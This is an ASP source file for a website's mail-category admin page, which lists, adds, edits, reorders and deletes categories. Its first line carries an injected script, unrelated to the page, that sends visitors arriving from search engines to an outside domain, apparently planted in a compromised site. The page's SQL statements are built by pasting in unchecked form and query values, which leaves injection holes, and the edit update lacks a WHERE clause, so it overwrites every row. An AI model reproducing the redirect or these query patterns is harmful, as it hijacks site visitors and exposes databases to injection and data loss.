d:\wwwroot\wuchunhua\sendmail\mail_mailclass.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <!--#include file="inc/page_cls.asp"-->
003: <html>
004: <head>
005: <title>管理</title>
006: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007: <link rel="stylesheet" href="inc/style.css">
008: <script language="javascript" src="inc/js.js"></script>
009: </head>
010: <body>
011: <%dim page
012: page=request.QueryString("page")
013:
014: stype=checkstr(request.QueryString("stype"))
015: keys=checkstr(request.QueryString("keys"))
016:
017: urlQuery="&stype="& stype &"&keys="& keys
018:
019: action=request.QueryString("action")
020: select case action
021:    case "add" : CheckString("11"):call add
022:    case "list" : CheckString("12"):call list
023:    case "edit" : CheckString("13"):call edit
024:    case "upsave" :call upsave
025: end select
026:
027: sub list
028: %
>
029: <table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
030:   <tr>
031:     <td colspan="6" class="table_titlebg">邮件分类列表</td>
032:   </tr>
033:   <tr>
034:     <td colspan="6" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
035:       <tr>
036:       <form name="Form2" method="get" action="?">
037:         <td align="right">  
038: 查找:    <select name="stype">
039:           <option value="1"<%=SetSelected(stype,"1")%>>分类名称</option>
040:         </select> &nbsp; <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="<%=keys%>">
041:         <input type="submit" name="" value="搜索"><input type="hidden" name="action" value="list"></td></form>
042:       </tr>
043:     </table>   </td>
044:   </tr>
045: <form name="Form1" method="post" action="?action=upsave&page=<%=page%>&stype=<%=stype%>&keys=<%=keys%>" onSubmit="return confirm('确定要执行此操作吗?\n\n注意:执行删除时将删除所属的分类邮件地址');">
046:   <tr>
047:     <td align="center" class="table_trbg02"><strong>ID</strong></td>
048:     <td align="center" class="table_trbg02"><strong>分类名称</strong></td>
049:     <td align="center" class="table_trbg02"><strong>信息排序</strong></td>
050:     <td align="center" class="table_trbg02">邮址数量</td>
051:     <td align="center" class="table_trbg02"><strong>操作</strong></td>
052:     <td align="center" class="table_trbg02"><strong>选择</strong></td>
053:   </tr>
054: <%
055: dim PageMaxSize
056: PageMaxSize=12   '每页几条
057: Set MyPage = New XdownPage   '创建对象
058:
059: if keys<>"" then
060: if stype="1" then sql2 = sql2 & " and classname like '%"& keys &"%' "
061: end if
062:
063: MyPage.GetSQL ="SELECT * from [vn_mailclass] where 1=1 "& sql2 &" order by id desc"
064: MyPage.PageSize = PageMaxSize  '设置每一页的记录条数据为10条
065: Set rs = MyPage.GetRS()  '返回Recordset
066:
067: If rs.eof Then
068:    response.Write("<tr><td height=""30"" align=""center"" colspan=""6"" class=""table_trbg02"">没有任何信息!</td></tr>")
069: else
070: For i=1 To MyPage.PageSize  '显示数据
071:    If Not rs.eof Then
072: %
>
073:   <tr>
074:     <td align="center" class="table_trbg02"><%=rs("ID")%></td>
075:     <td align="center" class="table_trbg02"><a href="?action=edit&id=<%=rs("ID")%>&page=<%=page%><%=urlQuery%>"><%=rs("classname")%></a></td>
076:     <td align="center" class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="<%=rs("orders")%>" size="6" maxlength="5"></td>
077:     <td align="center" class="table_trbg02"><%=conn.execute("select count(id) from [vn_mailaddress] where classid="& rs("id") &"")(0)%></td>
078:     <td align="center" class="table_trbg02"><a href="?action=edit&id=<%=rs("ID")%>&page=<%=page%><%=urlQuery%>">编辑</a></td>
079:     <td align="center" class="table_trbg02"><input type="checkbox" name="id" value="<%=rs("ID")%>"><input type="hidden" name="hideid" value="<%=rs("ID")%>"></td>
080:   </tr>
081: <%
082:    rs.movenext
083:    Else
084:        Exit For
085:    End If
086: next
087: End If
088: %
>
089:   <tr>
090:          <td colspan="6" align="right" class="table_trbg02">
091:       <input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
092:       全选
093:         <select name="point">
094:           <option value="">操作方式</option>
095:           <option value="1">更新</option>
096:         <option value="2">删除</option>
097:         </select>
098:         <input type="submit" name="Submit" value="执 行">
099: &nbsp;
100: <input type="reset" name="Submit2" value="重 写">      </td>
101:     </tr>
102:   </form>
103:    <tr>
104:      <td colspan="6" align="center" class="table_trbg02"><%if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()%></td>
105:    </tr>
106: </table>
107: <%end sub
108:
109: sub add
110: if request.QueryString("act")="addsave" then
111:   
112:    classname=GetForm("classname")
113:    orders=GetForm("orders")
114:
115:    if classname="" then ErrMsg = ErrMsg & "● 请输入分类名称;"
116:    if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入;\n"
117:
118:
119:    if ErrMsg="" then
120:       conn.execute("insert into [vn_mailclass](classname,orders)values('"& classname &"',"& orders &")")
121:       alert "分类 "& classname &" 添加成功;","?action=add"
122:    end if
123:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
124: end if
125: %
>
126:
127: <table width="99%"  border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
128:   <form name="Form1" method="post" action="?action=add&act=addsave">
129:     <tr>
130:       <td height="15" colspan="2" class="table_titlebg">邮件分类添加</td>
131:     </tr>
132:     <tr>
133:       <td width="40%" height="15" align="right" class="table_trbg02"><strong>分类名称:</strong></td>
134:       <td class="table_trbg02"><input name="classname" type="text" class="input" id="classname" size="40" value="<%=classname%>"></td>
135:     </tr>
136:     <tr>
137:       <td height="15" align="right" class="table_trbg02"><p><strong>信息排序:</strong></p>      </td>
138:       <td class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="<%if orders="" then response.Write("0") else response.Write(orders)%>" size="14" />
139: 整型,从小到大排序</td>
140:     </tr>
141:     <tr>
142:       <td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 完成 ">
143:         &nbsp;&nbsp;&nbsp;
144:         <input type="reset" name="Submit" value=" 重置 "></td>
145:     </tr>
146:   </form>
147: </table>
148:
149: <%
150: end sub
151: sub edit
152: id=request.QueryString("id")
153: if not isInteger(id) then alert "参数出错;","back"
154: set rs=conn.execute("select * from [vn_mailclass] where id="& id &"")
155: if rs.eof then
156:    alert "参数出错,找不到此信息;","back"
157: else
158: classname=Rs("classname")
159: orders=Rs("orders")
160: end if
161: rs.close : set rs=nothing
162:
163:
164: if request.QueryString("act")="editsave" then
165:    classname=GetForm("classname")
166:    orders=GetForm("orders")
167:   
168:    if classname="" then ErrMsg = ErrMsg & "● 请输入分类名称;"
169:    if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入;\n"
170:
171:    if ErrMsg="" then
172:       conn.execute("update [vn_mailclass] set classname='"& classname &"',orders="& orders &"")
173:       alert "分类编辑保存成功;","?action=edit&page="& page &"&id="& id & urlQuery
174:    end if
175:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
176: end if
177:
178: %
>
179: <table width="99%"  border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
180:   <form name="Form1" method="post" action="?action=edit&act=editsave&id=<%=id%>&page=<%=page%><%=urlQuery%>">
181:     <tr>
182:       <td height="15" colspan="2" class="table_titlebg">邮件分类编辑</td>
183:     </tr>
184:     <tr>
185:       <td width="40%" height="15" align="right" class="table_trbg02"><strong>分类名称:</strong></td>
186:       <td class="table_trbg02"><input name="classname" type="text" class="input" id="classname" size="40" value="<%=classname%>"></td>
187:     </tr>
188:     <tr>
189:       <td height="15" align="right" class="table_trbg02"><p><strong>信息排序:</strong></p></td>
190:       <td class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="<%if orders="" then response.Write("0") else response.Write(orders)%>" size="14" />
191:         整型,从小到大排序</td>
192:     </tr>
193:     <tr>
194:       <td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit3" value=" 保存 ">
195:         &nbsp;&nbsp;&nbsp;
196:         <input type="button" name="Submit22" onClick="javascript:window.location='?action=list&page=<%=page%><%=urlQuery%>';" value=" 返回 "></td>
197:     </tr>
198:   </form>
199: </table>
200: <%
201: end sub
202: sub upsave
203:    point=GetForm("point")
204:    if point="" then alert "您没有指定操作方式!","back"
205:
206: if point="1" Then
207:    CheckString("14")
208:    For i=1 to request.form("hideid").count
209:       orders = trim(request.form("orders")(i))
210:       IF Not isInteger(orders) Then alert "输入的排序格式不正确!","back"
211:    Next
212:    For i=1 to request.form("hideid").count
213:       hideid = trim(request.form("hideid")(i))
214:       orders = trim(request.form("orders")(i))
215:       conn.Execute("update [vn_mailclass] Set orders="& orders &" where ID="& hideid &"")
216:    Next
217:    alert "信息更新成功!","?page="& page & urlQuery
218: end if
219:
220: if point="2" Then
221:    CheckString("15")
222:    id=GetForm("id")
223:    if id="" then alert "请选择要删除的信息!","back"
224:    conn.execute("delete From [vn_mailclass] where id in ("& id &")")
225:    conn.execute("delete From [vn_mailaddress] where classid in ("& id &")")
226:    alert "所选删除成功!","?page="& page & urlQuery
227: end if
228:
229: end sub
230: %
>
231: </body>
232: </html>
233:
234: